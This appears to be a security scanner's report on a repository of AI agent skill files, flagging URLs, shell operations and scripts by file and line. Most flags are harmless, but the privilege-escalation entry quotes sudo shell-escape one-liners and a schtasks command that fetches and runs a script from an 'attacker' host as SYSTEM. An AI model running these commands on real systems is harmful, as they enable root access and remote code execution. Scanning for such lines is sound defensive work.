    targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatibility/2006" schemaLocation="../mce/mc.xsd"/>
  • Network accessline 13
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 14
    schemaLocation="dml-wordprocessingDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math"     schemaLocation="shared-math.xsd"/>
  • Network accessline 15
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 16
    schemaLocation="shared-math.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 17
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 18
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 19
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 20
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"     schemaLocation="shared-customXmlSchemaProperties.xsd"/>
  • Network accessline 21
    <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
  • Network accessline 22
    schemaLocation="shared-customXmlSchemaProperties.xsd"/>   <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>   <xsd:complexType name="CT_Empty"/>
  • Network accessline 23
    <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd

  • Network accessline 1
    <?xml version='1.0'?> <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en">
  • Network accessline 2
    <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en">
  • Network accessline 4
    <xs:annotation>   <xs:documentation>    See http://www.w3.org/XML/1998/namespace.html and
  • Network accessline 5
    <xs:documentation>    See http://www.w3.org/XML/1998/namespace.html and    http://www.w3.org/TR/REC-xml for information about this namespace.
  • Network accessline 6
    See http://www.w3.org/XML/1998/namespace.html and
  • Network accessline 7
    http://www.w3.org/TR/REC-xml for information about this namespace.
  • Network accessline 55
    &lt;schema . . .>          . . .          &lt;import namespace="http://www.w3.org/XML/1998/namespace"
  • Network accessline 56
    . . .          &lt;import namespace="http://www.w3.org/XML/1998/namespace"                     schemaLocation="http://www.w3.org/2001/03/xml.xsd"/>
  • Network accessline 57
    &lt;import namespace="http://www.w3.org/XML/1998/namespace"
  • Network accessline 58
    schemaLocation="http://www.w3.org/2001/03/xml.xsd"/>
  • Network accessline 72
    <xs:documentation>In keeping with the XML Schema WG's standard versioning    policy, this schema document will persist at    http://www.w3.org/2001/03/xml.xsd.
  • Network accessline 73
    policy, this schema document will persist at    http://www.w3.org/2001/03/xml.xsd.    At the date of issue it can also be found at
  • Network accessline 74
    http://www.w3.org/2001/03/xml.xsd.
  • Network accessline 75
    At the date of issue it can also be found at    http://www.w3.org/2001/xml.xsd.    The schema document at that URI may however change in the future,
  • Network accessline 76
    http://www.w3.org/2001/xml.xsd.
  • Network accessline 79
    itself.  In other words, if the XML Schema namespace changes, the version    of this document at    http://www.w3.org/2001/xml.xsd will change
  • Network accessline 80
    of this document at    http://www.w3.org/2001/xml.xsd will change    accordingly; the version at
  • Network accessline 81
    http://www.w3.org/2001/xml.xsd will change
  • Network accessline 82
    accordingly; the version at    http://www.w3.org/2001/03/xml.xsd will not change.   </xs:documentation>
  • Network accessline 83
    http://www.w3.org/2001/03/xml.xsd will not change.
  • Network accessline 103
    <xs:attribute name="base" type="xs:anyURI">   <xs:annotation>    <xs:documentation>See http://www.w3.org/TR/xmlbase/ for
  • Network accessline 104
    <xs:annotation>    <xs:documentation>See http://www.w3.org/TR/xmlbase/ for                      information about this attribute.</xs:documentation>
  • Network accessline 105
    <xs:documentation>See http://www.w3.org/TR/xmlbase/ for

skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 2
    <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 3
    xmlns:xs="http://www.w3.org/2001/XMLSchema"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/package/2006/content-types"

skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  • Network accessline 2
    <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
  • Network accessline 4
    xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:dc="http://purl.org/dc/elements/1.1/"
  • Network accessline 5
    xmlns:dcterms="http://purl.org/dc/terms/" elementFormDefault="qualified" blockDefault="#all">
  • Network accessline 7
    <xs:import namespace="http://purl.org/dc/elements/1.1/"
  • Network accessline 8
    schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsd"/>
  • Network accessline 9
    <xs:import namespace="http://purl.org/dc/terms/"
  • Network accessline 10
    schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsd"/>
  • Network accessline 11
    <xs:import id="xml" namespace="http://www.w3.org/XML/1998/namespace"/>

skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature"
  • Network accessline 2
    <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature"
  • Network accessline 3
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/package/2006/digital-signature"

skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 2
    <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 3
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/package/2006/relationships"

skills/pptx-official/ooxml/schemas/mce/mc.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 2
    <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 3
    attributeFormDefault="unqualified" elementFormDefault="qualified" 	targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" 	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 5
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  • Network accessline 7
    <!--     This XSD is a modified version of the one found at:     https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd
  • Network accessline 9
    https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd
  • Network accessline 15
    <w:document 			            xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 16
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 17
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"

skills/pptx-official/ooxml/schemas/microsoft/wml-2010.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns:r="http://schemas.op
  • Network accessline 2
    <!-- <xsd:import id="rel" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="orel.xsd"/> -->
  • Network accessline 3
    <xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
  • Network accessline 4
    <!-- <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartbasetypes.xsd"/>
  • Network accessline 5
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartsplineproperties.xsd"/> -->

skills/pptx-official/ooxml/schemas/microsoft/wml-2012.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" elementFormDefault="qualified" att
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
  • Network accessline 3
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>

skills/pptx-official/ooxml/schemas/microsoft/wml-2018.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/pptx-official/ooxml/schemas/microsoft/wml-cex-2018.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:w16="http://schemas.microsoft.
  • Network accessline 2
    <xsd:import id="w16" namespace="http://schemas.microsoft.com/office/word/2018/wordml" schemaLocation="wml-2018.xsd"/>
  • Network accessline 3
    <xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
  • Network accessline 4
    <xsd:import id="s" namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>

skills/pptx-official/ooxml/schemas/microsoft/wml-cid-2016.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/pptx-official/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/pptx-official/ooxml/schemas/microsoft/wml-symex-2015.xsd

  • Network accessline 1
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/pptx-official/ooxml/scripts/pack.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/pptx-official/ooxml/scripts/unpack.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/pptx-official/ooxml/scripts/validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/pptx-official/ooxml/scripts/validation/__init__.py

  • Executable scriptline 1
    Executable file

skills/pptx-official/ooxml/scripts/validation/base.py

  • Executable scriptline 1
    Executable file
  • Network accessline 70
    MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 71
    XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace"
  • Network accessline 74
    PACKAGE_RELATIONSHIPS_NAMESPACE = (         "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 75
    "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 76
    )     OFFICE_RELATIONSHIPS_NAMESPACE = (         "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 77
    OFFICE_RELATIONSHIPS_NAMESPACE = (         "http://schemas.openxmlformats.org/officeDocument/2006/relationships"     )
  • Network accessline 78
    "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 79
    )     CONTENT_TYPES_NAMESPACE = (         "http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 80
    CONTENT_TYPES_NAMESPACE = (         "http://schemas.openxmlformats.org/package/2006/content-types"     )
  • Network accessline 81
    "http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 88
    OOXML_NAMESPACES = {         "http://schemas.openxmlformats.org/officeDocument/2006/math",
  • Network accessline 89
    "http://schemas.openxmlformats.org/officeDocument/2006/math",
  • Network accessline 90
    "http://schemas.openxmlformats.org/officeDocument/2006/relationships",
  • Network accessline 91
    "http://schemas.openxmlformats.org/schemaLibrary/2006/main",
  • Network accessline 92
    "http://schemas.openxmlformats.org/drawingml/2006/main",
  • Network accessline 93
    "http://schemas.openxmlformats.org/drawingml/2006/chart",
  • Network accessline 94
    "http://schemas.openxmlformats.org/drawingml/2006/chartDrawing",
  • Network accessline 95
    "http://schemas.openxmlformats.org/drawingml/2006/diagram",
  • Network accessline 96
    "http://schemas.openxmlformats.org/drawingml/2006/picture",
  • Network accessline 97
    "http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing",
  • Network accessline 98
    "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
  • Network accessline 99
    "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
  • Network accessline 100
    "http://schemas.openxmlformats.org/presentationml/2006/main",
  • Network accessline 101
    "http://schemas.openxmlformats.org/spreadsheetml/2006/main",
  • Network accessline 102
    "http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes",
  • Network accessline 103
    "http://www.w3.org/XML/1998/namespace",

skills/pptx-official/ooxml/scripts/validation/docx.py

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    WORD_2006_NAMESPACE = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"

skills/pptx-official/ooxml/scripts/validation/pptx.py

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    PRESENTATIONML_NAMESPACE = (         "http://schemas.openxmlformats.org/presentationml/2006/main"
  • Network accessline 15
    "http://schemas.openxmlformats.org/presentationml/2006/main"

skills/pptx-official/ooxml/scripts/validation/redlining.py

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    self.verbose = verbose         self.namespaces = {             "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 18
    self.namespaces = {             "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"         }
  • Network accessline 19
    "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"

skills/pptx-official/scripts/html2pptx.js

  • Executable scriptline 1
    Executable file

skills/pptx-official/scripts/inventory.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 166
    ):             pPr = paragraph._p.pPr             ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}"
  • Network accessline 167
    pPr = paragraph._p.pPr             ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}"             if (
  • Network accessline 168
    ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}"

skills/pptx-official/scripts/rearrange.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 103
    for blip in blips:             old_rId = blip.get(                 "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed"
  • Network accessline 104
    old_rId = blip.get(                 "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed"             )
  • Network accessline 105
    "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed"
  • Network accessline 115
    blip.set(                     "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed",
  • Network accessline 116
    "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed",

skills/pptx-official/scripts/replace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/pptx-official/scripts/thumbnail.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/prisma-expert/SKILL.md

  • Network accessline 94
    **Resources:** - https://www.prisma.io/docs/concepts/components/prisma-schema
  • Network accessline 95
    - https://www.prisma.io/docs/concepts/components/prisma-schema
  • Network accessline 96
    - https://www.prisma.io/docs/concepts/components/prisma-schema/relations
  • Network accessline 136
    **Resources:** - https://www.prisma.io/docs/concepts/components/prisma-migrate
  • Network accessline 137
    - https://www.prisma.io/docs/concepts/components/prisma-migrate
  • Network accessline 138
    - https://www.prisma.io/docs/guides/deployment/deploy-database-changes
  • Network accessline 206
    **Resources:** - https://www.prisma.io/docs/guides/performance-and-optimization
  • Network accessline 207
    - https://www.prisma.io/docs/guides/performance-and-optimization
  • Network accessline 208
    - https://www.prisma.io/docs/concepts/components/prisma-client/raw-database-access
  • Network accessline 254
    **Resources:** - https://www.prisma.io/docs/guides/performance-and-optimization/connection-management
  • Network accessline 255
    - https://www.prisma.io/docs/guides/performance-and-optimization/connection-management
  • Network accessline 256
    - https://www.prisma.io/docs/guides/deployment/deployment-guides/deploying-to-vercel
  • Network accessline 318
    **Resources:** - https://www.prisma.io/docs/concepts/components/prisma-client/transactions
  • Network accessline 319
    - https://www.prisma.io/docs/concepts/components/prisma-client/transactions

skills/privilege-escalation-methods/SKILL.md

  • Dangerous shell operationline 38
    #### 1. Abusing Sudo Binaries
  • Dangerous shell operationline 40
    Exploit misconfigured sudo permissions using GTFOBins techniques:
  • Dangerous shell operationline 43
    # Check sudo permissions
  • Dangerous shell operationline 44
    sudo -l
  • Dangerous shell operationline 47
    sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 48
    sudo find /etc/passwd -exec /bin/bash \;
  • Dangerous shell operationline 49
    sudo awk 'BEGIN {system("/bin/bash")}'
  • Dangerous shell operationline 50
    sudo python -c 'import pty;pty.spawn("/bin/bash")'
  • Dangerous shell operationline 51
    sudo perl -e 'exec "/bin/bash";'
  • Dangerous shell operationline 52
    sudo less /etc/hosts    # then type: !bash
  • Dangerous shell operationline 53
    sudo man man            # then type: !bash
  • Dangerous shell operationline 54
    sudo env /bin/bash
  • Network accessline 211
    # 3. Create scheduled task schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `   /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
  • Network accessline 212
    schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM"    /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
  • Network accessline 213
    /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
  • Network accessline 227
    # Create malicious shortcut (Book.url) [InternetShortcut] URL=https://facebook.com
  • Network accessline 228
    [InternetShortcut] URL=https://facebook.com IconIndex=0
  • Network accessline 229
    URL=https://facebook.com
  • Dangerous shell operationline 255
    | Sudo Binary Abuse | Linux | No | GTFOBins |
  • Dangerous shell operationline 291
    ### Example 1: Linux Sudo to Root
  • Dangerous shell operationline 294
    # Check sudo permissions
  • Dangerous shell operationline 295
    $ sudo -l
  • Dangerous shell operationline 300
    $ sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 321
    | sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |

skills/product-manager-toolkit/scripts/customer_interview_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 114
    for indicator in self.request_indicators:                 if indicator in sentence_lower:                     requests.append({
  • Network accessline 115
    if indicator in sentence_lower:                     requests.append({                         'quote': sentence,
  • Network accessline 116
    requests.append({

skills/product-manager-toolkit/scripts/rice_prioritizer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/production-code-audit/SKILL.md

  • Access to secretsline 286
    [Credential-related source omitted]
  • Network accessline 535
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 536
    - [Google Engineering Practices](https://google.github.io/eng-practices/)
  • Network accessline 537
    - [SonarQube Quality Gates](https://docs.sonarqube.org/latest/user-guide/quality-gates/)
  • Network accessline 538
    - [Clean Code by Robert C. Martin](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)

skills/projection-patterns/resources/implementation-playbook.md

  • Network accessline 500
    - [CQRS Pattern](https://docs.microsoft.com/en-us/azure/architecture/patterns/cqrs)
  • Network accessline 501
    - [Projection Building Blocks](https://zimarev.com/blog/event-sourcing/projections/)

skills/prometheus-configuration/SKILL.md

  • Network accessline 59
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 359
    # Test query promtool query instant http://localhost:9090 'up'
  • Network accessline 360
    promtool query instant http://localhost:9090 'up'
  • Network accessline 382
    curl http://localhost:9090/api/v1/targets
  • Network accessline 387
    curl http://localhost:9090/api/v1/status/config
  • Network accessline 392
    curl 'http://localhost:9090/api/v1/query?query=up'

skills/prompt-engineer/README.md

  • Network accessline 613
    git clone https://github.com/eric.andrade/cli-ai-skills.git

skills/prompt-engineering-patterns/scripts/optimize-prompt.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/prompt-library/SKILL.md

  • Network accessline 10
    > A comprehensive collection of battle-tested prompts inspired by [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) and community best practices.
  • Network accessline 318
    - [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)
  • Network accessline 319
    - [prompts.chat](https://prompts.chat)
  • Network accessline 320
    - [Learn Prompting](https://learnprompting.org/)

skills/protocol-reverse-engineering/resources/implementation-playbook.md

  • Possible obfuscationline 448
    s_static(b"\x50\x52\x4f\x54")  # Magic

skills/pypict-skill/SKILL.md

  • Network accessline 2
    name: pypict-skill description: "Pairwise test generation" source: "https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md"
  • Network accessline 3
    description: "Pairwise test generation" source: "https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md).

skills/python-development-python-scaffold/SKILL.md

  • Network accessline 288
    # API API_V1_PREFIX="/api/v1" ALLOWED_ORIGINS=["http://localhost:3000"]
  • Network accessline 290
    ALLOWED_ORIGINS=["http://localhost:3000"]
  • Dangerous shell operationline 319
    find . -type d -name __pycache__ -exec rm -rf {} +
  • Dangerous shell operationline 320
    find . -type f -name "*.pyc" -delete
  • Dangerous shell operationline 321
    rm -rf .pytest_cache .ruff_cache

skills/python-packaging/resources/implementation-playbook.md

  • Network accessline 212
    [project.urls] Homepage = "https://github.com/username/my-awesome-package"
  • Network accessline 213
    Homepage = "https://github.com/username/my-awesome-package"
  • Network accessline 214
    Documentation = "https://my-awesome-package.readthedocs.io"
  • Network accessline 215
    Repository = "https://github.com/username/my-awesome-package"
  • Network accessline 216
    "Bug Tracker" = "https://github.com/username/my-awesome-package/issues"
  • Network accessline 217
    Changelog = "https://github.com/username/my-awesome-package/blob/main/CHANGELOG.md"
  • Network accessline 435
    # Install from TestPyPI to test pip install --index-url https://test.pypi.org/simple/ my-package
  • Network accessline 436
    pip install --index-url https://test.pypi.org/simple/ my-package
  • Dangerous shell operationline 683
    rm -rf test-env
  • Network accessline 693
    [![PyPI version](https://badge.fury.io/py/my-package.svg)](https://pypi.org/project/my-package/)
  • Network accessline 694
    [![Python versions](https://img.shields.io/pypi/pyversions/my-package.svg)](https://pypi.org/project/my-package/)
  • Network accessline 695
    [![Tests](https://github.com/username/my-package/workflows/Tests/badge.svg)](https://github.com/username/my-package/actions)
  • Network accessline 721
    Full documentation: https://my-package.readthedocs.io
  • Network accessline 726
    git clone https://github.com/username/my-package.git
  • Network accessline 769
    # Install from private index pip install my-package --index-url https://private.pypi.org/simple/
  • Network accessline 770
    pip install my-package --index-url https://private.pypi.org/simple/
  • Network accessline 772
    # Or add to pip.conf [global] index-url = https://private.pypi.org/simple/
  • Network accessline 773
    [global] index-url = https://private.pypi.org/simple/ extra-index-url = https://pypi.org/simple/
  • Network accessline 774
    index-url = https://private.pypi.org/simple/
  • Network accessline 775
    extra-index-url = https://pypi.org/simple/
  • Network accessline 777
    # Upload to private index twine upload --repository-url https://private.pypi.org/ dist/*
  • Network accessline 778
    twine upload --repository-url https://private.pypi.org/ dist/*
  • Network accessline 851
    - **Python Packaging Guide**: https://packaging.python.org/
  • Network accessline 852
    - **PyPI**: https://pypi.org/
  • Network accessline 853
    - **TestPyPI**: https://test.pypi.org/
  • Network accessline 854
    - **setuptools documentation**: https://setuptools.pypa.io/
  • Network accessline 855
    - **build**: https://pypa-build.readthedocs.io/
  • Network accessline 856
    - **twine**: https://twine.readthedocs.io/

skills/python-patterns/SKILL.md

  • Network accessline 395
    @pytest.mark.asyncio async def test_endpoint():     async with AsyncClient(app=app, base_url="http://test") as client:
  • Network accessline 396
    async def test_endpoint():     async with AsyncClient(app=app, base_url="http://test") as client:         response = await client.get("/users")
  • Network accessline 397
    async with AsyncClient(app=app, base_url="http://test") as client:

skills/python-performance-optimization/resources/implementation-playbook.md

  • Network accessline 563
    urls = [     "https://httpbin.org/delay/1",
  • Network accessline 564
    "https://httpbin.org/delay/1",
  • Network accessline 565
    "https://httpbin.org/delay/1",
  • Network accessline 566
    "https://httpbin.org/delay/1",
  • Network accessline 567
    "https://httpbin.org/delay/1",
  • Network accessline 573
    results = []     for url in urls:         response = requests.get(url)
  • Network accessline 574
    for url in urls:         response = requests.get(url)         results.append(response.status_code)
  • Network accessline 575
    response = requests.get(url)
  • Network accessline 586
    """Asynchronous HTTP requests."""     start = time.time()     async with aiohttp.ClientSession() as session:
  • Network accessline 587
    start = time.time()     async with aiohttp.ClientSession() as session:         tasks = [async_fetch(session, url) for url in urls]
  • Network accessline 588
    async with aiohttp.ClientSession() as session:

skills/python-testing-patterns/resources/implementation-playbook.md

  • Access to secretsline 181
    [Credential-related source omitted]
  • Network accessline 265
    def get_user(self, user_id: int) -> dict:         """Fetch user from API."""         response = requests.get(f"{self.base_url}/users/{user_id}")
  • Network accessline 266
    """Fetch user from API."""         response = requests.get(f"{self.base_url}/users/{user_id}")         response.raise_for_status()
  • Network accessline 267
    response = requests.get(f"{self.base_url}/users/{user_id}")
  • Network accessline 271
    def create_user(self, data: dict) -> dict:         """Create new user."""         response = requests.post(f"{self.base_url}/users", json=data)
  • Network accessline 272
    """Create new user."""         response = requests.post(f"{self.base_url}/users", json=data)         response.raise_for_status()
  • Network accessline 273
    response = requests.post(f"{self.base_url}/users", json=data)
  • Network accessline 278
    def test_get_user_success():     """Test successful API call with mock."""     client = APIClient("https://api.example.com")
  • Network accessline 280
    client = APIClient("https://api.example.com")
  • Network accessline 289
    assert user["id"] == 1         assert user["name"] == "John Doe"         mock_get.assert_called_once_with("https://api.example.com/users/1")
  • Network accessline 291
    mock_get.assert_called_once_with("https://api.example.com/users/1")
  • Network accessline 294
    def test_get_user_not_found():     """Test API call with 404 error."""     client = APIClient("https://api.example.com")
  • Network accessline 296
    client = APIClient("https://api.example.com")
  • Network accessline 298
    mock_response = Mock()     mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found")
  • Network accessline 299
    mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found")
  • Network accessline 307
    def test_create_user(mock_post):     """Test user creation with decorator syntax."""     client = APIClient("https://api.example.com")
  • Network accessline 309
    client = APIClient("https://api.example.com")
  • Network accessline 380
    async def test_fetch_data():     """Test async function."""     result = await fetch_data("https://api.example.com")
  • Network accessline 381
    """Test async function."""     result = await fetch_data("https://api.example.com")     assert result["url"] == "https://api.example.com"
  • Network accessline 382
    result = await fetch_data("https://api.example.com")
  • Network accessline 383
    assert result["url"] == "https://api.example.com"
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 447
    [Credential-related source omitted]
  • Access to secretsline 449
    [Credential-related source omitted]
  • Access to secretsline 450
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Access to secretsline 457
